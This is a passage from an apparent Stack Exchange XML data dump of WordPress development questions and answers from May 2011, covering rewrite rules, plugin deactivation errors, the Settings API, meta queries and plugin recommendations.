)&#xA;        // Most important parameter. :)&#xA;    ,   'public'            =&amp;gt; TRUE&#xA;        // Available in custom menus.&#xA;    ,   'show_in_nav_menus' =&amp;gt; TRUE&#xA;        // Standard box.&#xA;    ,   'show_ui'           =&amp;gt; TRUE&#xA;        // Clickable list of popular authors.&#xA;    ,   'show_tagcloud'     =&amp;gt; TRUE&#xA;        // URI&#xA;    ,   'rewrite'           =&amp;gt; array (&#xA;            'slug' =&amp;gt; 'qa'&#xA;        )&#xA;        // If you want to use WP_Query.&#xA;    ,   'query_var'         =&amp;gt; 'qa'&#xA;    )&#xA;    );&#xA;}&#xA;/**&#xA; * Tells WordPress to rebuild the rewrite rules to include our custom URIS.&#xA; *&#xA; * @return void&#xA; */&#xA;function qua_flush()&#xA;{&#xA;    // The current instance of the class WP_Rewrite.&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-28T04:58:56.283" CommentCount="1" />
  <row Id="18536" PostTypeId="2" ParentId="18490" CreationDate="2011-05-28T06:10:26.650" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_current_user&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_current_user()&lt;/code&gt; returns the complete user &lt;em&gt;object&lt;/em&gt;&lt;/a&gt;, so your next line should not be &lt;code&gt;$user_id = $current_user&lt;/code&gt;, but &lt;code&gt;$user_id = $current_user-&amp;gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand you can't enable &lt;code&gt;WP_DEBUG&lt;/code&gt; on a live site, and this might be the reason you get a &quot;generic&quot; error message when something goes wrong, but have you looked at the options to write PHP error messages to a log file instead? This way the user won't see the errors but you can. Developing without seeing error messages is almost impossible.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-28T06:10:26.650" />
  <row Id="18537" PostTypeId="2" ParentId="18416" CreationDate="2011-05-28T06:29:35.470" Score="1" ViewCount="" Body="&lt;p&gt;The URLs are constructed &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-dragtoshare-extended/tags/1.13/js/wp-dragtoshare-extended.js?rev=390074#L165&quot; rel=&quot;nofollow&quot;&gt;in the &lt;code&gt;wp-dragtoshare-extended.js&lt;/code&gt; Javascript file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most services you can see how the &lt;code&gt;customUrl&lt;/code&gt; is constructed and change it right there. For Twitter you should look a bit lower, in the &lt;code&gt;isGD&lt;/code&gt; function, because it does an Ajax request to shorten the link - but maybe this is not needed anymore with the current Twitter sharing service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you modify this script you should be aware that the plugin has two versions of the script: &lt;code&gt;wp-dragtoshare-extended.js&lt;/code&gt; is the normal version, &lt;code&gt;wp-dragtoshare-extended-packed.js&lt;/code&gt; a minified version to speed up loading. The plugin &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/wp-dragtoshare-extended/tags/1.13/lib/dtse.functions.php?rev=390074#L15&quot; rel=&quot;nofollow&quot;&gt;loads the packed version&lt;/a&gt;, so either remember to edit that version too (by minifying your edited version) or edit the PHP code so it loads the non-minified version.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-28T06:29:35.470" CommentCount="2" />
  <row Id="18538" PostTypeId="2" ParentId="18304" CreationDate="2011-05-28T06:51:23.040" Score="0" ViewCount="" Body="&lt;p&gt;Sorry to bother . It was one of my other functions which was limiting the error to echo only once. Here is the previous code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_message( $message = false ) {&#xA;    if( is_wp_error( $message ) ) {&#xA;        echo '&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;' . $message-&amp;gt;get_error_message() . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';   &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It worked fine when i changed it too :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_message( $message = false ) {&#xA;    if( is_wp_error( $message ) ) {&#xA;        echo '&amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;p&amp;gt;';&#xA;        foreach ( $message-&amp;gt;get_error_messages($code) as $error ) {&#xA;        echo $error . &quot;&amp;lt;br /&amp;gt;\n&quot;;   &#xA;        }&#xA;        echo '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';  &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2011-05-28T06:51:23.040" />
  <row Id="18539" PostTypeId="1" AcceptedAnswerId="18540" CreationDate="2011-05-28T06:52:42.647" Score="2" ViewCount="122" Body="&lt;p&gt;I am getting &lt;code&gt;function deactivate_plugins does not exist&lt;/code&gt; error when calling this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function deactivateSelf(){&#xA;    deactivate_plugins(RSD_PLUGIN, true); //gives error: function deactivate_plugins does not exist&#xA;    header(&quot;Location: plugins.php?deactivate=true&quot;); //redirect to plugin management with message&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the function &lt;code&gt;deactivate_plugins&lt;/code&gt; is on the server in &lt;code&gt;/wp-admin/wp-includes/plugin.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the function deactivateSelf works on my developer's computer but not on my linode server&lt;/li&gt;&#xA;&lt;li&gt;I downloaded &lt;a href=&quot;http://www.turnkeylinux.org/wordpress&quot; rel=&quot;nofollow&quot;&gt;http://www.turnkeylinux.org/wordpress&lt;/a&gt;, which should have pretty standard configuration and I got the same error. I tried to upgrade wp to the latest version and still got the same error.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea how to make it work?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditorDisplayName="" LastEditDate="2011-05-28T08:00:37.620" LastActivityDate="2011-05-31T01:53:22.457" Title="function deactivate_plugins does not exist" Tags="&lt;plugin-development&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18540" PostTypeId="2" ParentId="18539" CreationDate="2011-05-28T07:16:43.377" Score="4" ViewCount="" Body="&lt;p&gt;The file &lt;code&gt;wp-admin/includes/plugin.php&lt;/code&gt; is not always included. You may have to do this in your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your &lt;code&gt;Location&lt;/code&gt; header is invalid: You have to send a complete URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( ABSPATH . 'wp-admin/includes/plugin.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When do you call this function? Maybe too early.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-31T01:53:22.457" LastActivityDate="2011-05-31T01:53:22.457" CommentCount="3" />
  <row Id="18541" PostTypeId="1" AcceptedAnswerId="21182" CreationDate="2011-05-28T08:05:33.917" Score="0" ViewCount="32" Body="&lt;p&gt;I remember seeing a search plugin that creates a database log of your pages it use for search. Does anyone know of the plugin? And would this be a good way to make the Widget Text searchable? If not is there a plugin to add widget text to the search?&lt;/p&gt;&#xA;" OwnerUserId="5771" LastActivityDate="2011-06-27T12:09:08.663" Title="Replacement search plugin that reads widgets or catalogs entire page?" Tags="&lt;search&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="18542" PostTypeId="1" AcceptedAnswerId="18566" CreationDate="2011-05-28T08:09:18.790" Score="2" ViewCount="25" Body="&lt;p&gt;I learned that you can add new cron schedules by using the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/cron_schedules&quot; rel=&quot;nofollow&quot;&gt;cron_schedules&lt;/a&gt; filter. If I change a interval of a schedule that I added earlier, will a job that uses this schedule be scheduled using this new interval the next time, or will it still use the previous interval?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-05-28T19:43:56.257" LastActivityDate="2011-05-28T19:43:56.257" Title="Will Wordpress use the newer schedule if it is updated using the filter 'cron_schedules'?" Tags="&lt;cron&gt;" AnswerCount="1" />
  <row Id="18543" PostTypeId="2" ParentId="18541" CreationDate="2011-05-28T08:10:06.567" Score="0" ViewCount="" Body="&lt;p&gt;Do you perhaps mean &lt;a href=&quot;http://www.relevanssi.com&quot; rel=&quot;nofollow&quot;&gt;Relevanssi&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-28T08:10:06.567" CommentCount="3" />
  <row Id="18544" PostTypeId="1" AcceptedAnswerId="18547" CreationDate="2011-05-28T09:17:05.740" Score="1" ViewCount="69" Body="&lt;p&gt;At the moment I have the following code for changing the author_base slug.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** ADD REWRITE RULES **/&#xA;function change_author_permalinks() {&#xA;   global $wp_rewrite;&#xA;&#xA;   $wp_rewrite-&amp;gt;author_base = 'profile';&#xA;   $wp_rewrite-&amp;gt;flush_rules();&#xA;}&#xA;add_action('init','change_author_permalinks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I add, for example, a extra &quot;edit&quot; page on to this, i.e., /profile/my-user-name/edit ???&lt;/p&gt;&#xA;" OwnerUserId="3545" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-28T09:49:26.403" LastActivityDate="2011-05-28T10:35:07.977" Title="Adding more pages to author pages" Tags="&lt;url-rewriting&gt;&lt;author&gt;&lt;slug&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18545" PostTypeId="2" ParentId="18526" CreationDate="2011-05-28T09:39:40.160" Score="1" ViewCount="" Body="&lt;p&gt;Googling for &quot;split wxr file&quot; returned several results, including &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/wxr-file-splitter#post-1859415&quot; rel=&quot;nofollow&quot;&gt;python script for splitting .wxr file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mvmanila.com/2008/09/21/split-wxr-with-gui-and-installers/&quot; rel=&quot;nofollow&quot;&gt;GUI for splitting WXR files&lt;/a&gt; (OSX and Windows)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techkamal.com/wordpress-wxr-file-splitter-rss-xml/&quot; rel=&quot;nofollow&quot;&gt;.Net splitter for WXR files&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Haven't tried any of these, but the comments look positive.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-28T09:39:40.160" />
  <row Id="18546" PostTypeId="2" ParentId="18518" CreationDate="2011-05-28T09:43:49.880" Score="1" ViewCount="" Body="&lt;p&gt;Sound like a nice idea, but when i need a per user customized private section i usually code it based on page template files and create a few pages with these template files fo example, say i have a download page which will show each user the files he can download so my page template would &lt;/p&gt;&#xA;&#xA;&lt;p&gt;first check if the user is logged in (if not Unauthorized redirect)&#xA;then just pull all of the file that user can download.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T09:43:49.880" />
  <row Id="18547" PostTypeId="2" ParentId="18544" CreationDate="2011-05-28T09:54:22.753" Score="3" ViewCount="" Body="&lt;p&gt;The author rewrite rules &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/rewrite.php#L1537&quot; rel=&quot;nofollow&quot;&gt;are filtered through &lt;code&gt;author_rewrite_rules&lt;/code&gt;&lt;/a&gt;. You can add a rule there for the pattern &lt;code&gt;author/([^/]+)/edit/?$&lt;/code&gt;, but the substitution will depend on how you want to create the &lt;code&gt;edit&lt;/code&gt; page. A simple example that will set a custom query variable and load a specific template if this variable is set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'author_rewrite_rules', 'wpse18547_author_rewrite_rules' );&#xA;function wpse18547_author_rewrite_rules( $author_rules )&#xA;{&#xA;    $author_rules['author/([^/]+)/edit/?$'] = 'index.php?author_name=$matches[1]&amp;amp;wpse18547_author_edit=1';&#xA;    return $author_rules;&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse18547_query_vars' );&#xA;function wpse18547_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse18547_author_edit';&#xA;    return $query_vars;&#xA;}&#xA;&#xA;add_filter( 'author_template', 'wpse18547_author_template' );&#xA;function wpse18547_author_template( $author_template )&#xA;{&#xA;    if ( get_query_var( 'wpse18547_author_edit' ) ) {&#xA;        return locate_template( array( 'edit-author.php', $author_template ) );&#xA;    }&#xA;    return $author_template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Small tip: Don't call &lt;code&gt;flush_rules()&lt;/code&gt; on every &lt;code&gt;init&lt;/code&gt;, it's an expensive operation. You only need to do it when the rewrite rules change. You can manually flush the rules by just visiting the &lt;em&gt;Permalinks&lt;/em&gt; settings page. And if you are going to play with the rewrite rules, I recommend you install &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-28T10:35:07.977" LastActivityDate="2011-05-28T10:35:07.977" CommentCount="5" />
  <row Id="18548" PostTypeId="2" ParentId="12759" CreationDate="2011-05-28T10:08:09.137" Score="0" ViewCount="" Body="&lt;p&gt;@dalton &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello! I have a question about the quantity too. I hope you can help! How can I set a maximal quantity of 10 items to order? I now have this standard Shopp list from 1-20, 25, 50, 75, 100. I want it to be 1 to 10, but I really have no clue how to edit that in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php shopp('product','quantity','class=selectall&amp;amp;input=menu'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could you perhaps look in to it for me? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jurre&lt;/p&gt;&#xA;" OwnerUserId="5772" LastActivityDate="2011-05-28T10:08:09.137" />
  <row Id="18549" PostTypeId="2" ParentId="18459" CreationDate="2011-05-28T10:38:11.317" Score="6" ViewCount="" Body="&lt;h2&gt;User Specific Content&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Plugin allows you to select specific users by user name, or by role name who can view a specific post content or page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gTHYa.png&quot; alt=&quot;plugin's metabox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/user-specific-content/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/14445/how-do-i-display-a-user-specific-content/14455#14455&quot;&gt;How do I display a user specific content?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T10:38:11.317" CommunityOwnedDate="2011-05-29T03:38:13.367" />
  <row Id="18550" PostTypeId="2" ParentId="18459" CreationDate="2011-05-28T10:44:15.717" Score="4" ViewCount="" Body="&lt;h2&gt;Twitter Hash Tag Shortcode&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Displaying the most recent twitter status updates for a particular hash tag in your posts/pages using shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[hashtag_tweets hashtag=&quot;YOUR_TAG&quot; number=&quot;NUMBER_OF_TWEETS_TO_GET&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-hash-tag-shortcode/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9447/importing-tweets-with-certain-hashtags-into-wordpress/9449#9449&quot;&gt;Importing Tweets with certain hashtags into Wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T10:44:15.717" CommunityOwnedDate="2011-05-29T03:38:13.367" />
  <row Id="18551" PostTypeId="2" ParentId="17601" CreationDate="2011-05-28T11:57:54.917" Score="0" ViewCount="" Body="&lt;p&gt;You are creating two extra loops here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$authloop = new WP_Query(&quot;author=$uid&amp;amp;paged=$paged&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$authorposts = get_posts( array(&#xA;    'post_per_page' =&amp;gt; $ppp, // Shouldn't this be postS_per_page?&#xA;    'author' =&amp;gt; $uid,&#xA;    'paged' =&amp;gt; $paged&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You use the &lt;code&gt;$authloop&lt;/code&gt; to get the total number of pages, but you don't specify the &lt;code&gt;posts_per_page&lt;/code&gt; value so it will take a default value there, which may not be the same as the 5 you specify in the actual post loop you use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that, most of the times it is a bad idea to use a custom loop with pagination. The problem is that WordPress will always do a query for you (to set up the main loop), and it will take the &lt;code&gt;paged&lt;/code&gt; parameter from the URL with it. Say you are on an author archive. The default &lt;code&gt;posts_per_page&lt;/code&gt; is 10. This author has 40 posts. Your custom loop shows only 5 posts per page. If you now are at page 5, WordPress will query for posts 41-50 instead of 21-25 as you would do in your custom loop. WordPress will find no posts and load the &lt;code&gt;404.php&lt;/code&gt; template instead of your &lt;code&gt;author.php&lt;/code&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, it's best not to do a custom loop, but hook into the default loop via &lt;code&gt;pre_get_posts&lt;/code&gt; or another hook.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-28T11:57:54.917" />
  <row Id="18553" PostTypeId="2" ParentId="18459" CreationDate="2011-05-28T12:21:10.167" Score="15" ViewCount="" Body="&lt;h2&gt;Rewrite analyzer&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;br&gt;&#xA;Making sense of the rewrite mess. Display and play with your rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;br&gt;&#xA;Plug and play&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/screenshot-2.png?r=384136&quot; alt=&quot;Test URLs and see matching rules with the resulting query variables&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download link&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Plugin Directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules&quot;&gt;A tool to analyze rewrite rules?&lt;/a&gt; and all linked to it :-)&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-28T12:21:10.167" CommunityOwnedDate="2011-05-29T03:38:13.367" CommentCount="1" />
  <row Id="18554" PostTypeId="1" AcceptedAnswerId="18557" CreationDate="2011-05-28T12:43:23.673" Score="0" ViewCount="91" Body="&lt;p&gt;some of my posts have the post meta of &quot;project_id&quot;. How can I retrive all the posts which have the meta key of &quot;project_id&quot; ?&#xA;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_key = 'project_id';&#xA;return $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT ID FROM $wpdb-&amp;gt;postmeta WHERE meta_key = %s&quot;, $meta_key));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It returns nothing. Please help! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-05-28T15:32:19.693" Title="how to get all post with the same post meta?" Tags="&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="18555" PostTypeId="1" AcceptedAnswerId="18569" CreationDate="2011-05-28T12:48:55.793" Score="2" ViewCount="105" Body="&lt;p&gt;So I did something like below, but I get just (I am expecting a Facebook textbox?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/dWtKM.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope its not too messy. I am new to Settings API ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', function() {&#xA;    register_setting('elem_opts', 'elem_opts', 'elem_validate_opts');&#xA;  add_settings_section('elem_opts_form', 'Elements Theme Options', 'elem_opts_form_cb', 'elems_opts');&#xA;  add_settings_field('elem_opts_form', 'Facebook', 'elem_opts_social_fb_cb', 'elems_opts', 'elem_opts_form');&#xA;});&#xA;&#xA;function elem_opts_social_fb_cb() {&#xA;  $opts = get_option('elem_opts');&#xA;  if (empty($opts) || !is_array($opts)) {&#xA;    $opts = array();&#xA;  }&#xA;  ?&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;elem_opts[fb]&quot; value=&quot;&amp;lt;?php echo $opts['fb'] ? $opts['fb'] : ''; ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;add_action('admin_menu', function() {&#xA;    add_theme_page('Elements Options', 'Elements Options', 'manage_options', 'elem_opts', 'elem_opts_cb');&#xA;});&#xA;&#xA;function elem_validate_opts($input) {&#xA;  return $input;&#xA;}&#xA;&#xA;function elem_opts_form() {&#xA;  ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;Enable social network links, by entering your username for the respective social networks&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;function elem_opts_cb() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Elements Theme Options&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;?php &#xA;            settings_fields('elem_opts'); &#xA;            do_settings_sections('elem_opts');&#xA;            ?&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="794" LastEditorUserId="794" LastEditorDisplayName="" LastEditDate="2011-05-28T13:21:21.780" LastActivityDate="2011-05-28T14:48:19.163" Title="Need help understanding/coding with Settings API" Tags="&lt;theme-options&gt;&lt;settings&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="18557" PostTypeId="2" ParentId="18554" CreationDate="2011-05-28T12:59:41.403" Score="1" ViewCount="" Body="&lt;p&gt;As simple as this: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$the_posts_you_want = get_posts( array( 'meta_key' =&amp;gt; 'project_id' ) );&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $the_posts_you_want as $post )&#xA;{&#xA;    // Do whatever you need in here... &#xA;    // Read further how to inspect the post object: http://wordpress.stackexchange.com/questions/13063/how-to-inspect-global-variables-in-wordpress&#xA;    // echo each meta key&#xA;    echo $post-&amp;gt;whatever;&#xA;    // or save it into a new array for further processing&#xA;    $project_ids = array();&#xA;    $project_ids[] = $post-&amp;gt;whatever;&#xA;}&#xA;// If you saved them into an array, you can continue here...&#xA;foreach ( $project_ids as $id )&#xA;{&#xA;    // do stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-28T14:49:16.850" LastActivityDate="2011-05-28T14:49:16.850" CommentCount="6" />
  <row Id="18558" PostTypeId="2" ParentId="18555" CreationDate="2011-05-28T13:21:20.830" Score="1" ViewCount="" Body="&lt;p&gt;See here for reference: &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;Incorporating the Settings API in WordPress Themes&lt;/a&gt;. In particular, see Page 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first problem, though I don't know that it would cause the form section/field not to output, is that you pass the same string as the first argument to both &lt;code&gt;add_settings_section()&lt;/code&gt; and &lt;code&gt;add_settings_field()&lt;/code&gt;. For &lt;code&gt;add_settings_field()&lt;/code&gt;, the first argument is the ID of the &lt;em&gt;setting field itself&lt;/em&gt;, so it probably shouldn't be the same thing as the first argument passed to &lt;code&gt;add_settings_section()&lt;/code&gt;, which is the ID of the &lt;em&gt;settings section&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-28T13:21:20.830" CommentCount="2" />
  <row Id="18559" PostTypeId="1" AcceptedAnswerId="18568" CreationDate="2011-05-28T13:39:11.030" Score="0" ViewCount="58" Body="&lt;p&gt;For example, we have some image on the external site:&#xA;&lt;a href=&quot;http://site.com/image.png&quot; rel=&quot;nofollow&quot;&gt;http://site.com/image.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I upload this image to my wordpress as an image attachment by php? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image should be copied to my uploads folder, post added, meta generated.&lt;/p&gt;&#xA;" OwnerUserId="876" LastActivityDate="2011-05-28T14:42:29.350" Title="Upload attachment from external site" Tags="&lt;posts&gt;&lt;images&gt;&lt;metabox&gt;&lt;uploads&gt;&lt;attachments&gt;" AnswerCount="1" />
  <row Id="18560" PostTypeId="2" ParentId="18532" CreationDate="2011-05-28T14:00:24.803" Score="1" ViewCount="" Body="&lt;p&gt;Closest thing out there seems to be: &lt;a href=&quot;http://www.spaw.it/359/wordpress-plugin-limit-post-creation/&quot; rel=&quot;nofollow&quot;&gt;http://www.spaw.it/359/wordpress-plugin-limit-post-creation/&lt;/a&gt;, but it only sets a single, hard limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your best bet is to utilize this Wordpress thread with code to limit number of posts for registered users: &lt;a href=&quot;http://wordpress.org/support/topic/limit-the-number-of-posts-a-user-can-make?replies=18&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/limit-the-number-of-posts-a-user-can-make?replies=18&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to change the &lt;code&gt;$count_posts&lt;/code&gt; var to only count posts made within your time-frame...&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-28T14:00:24.803" />
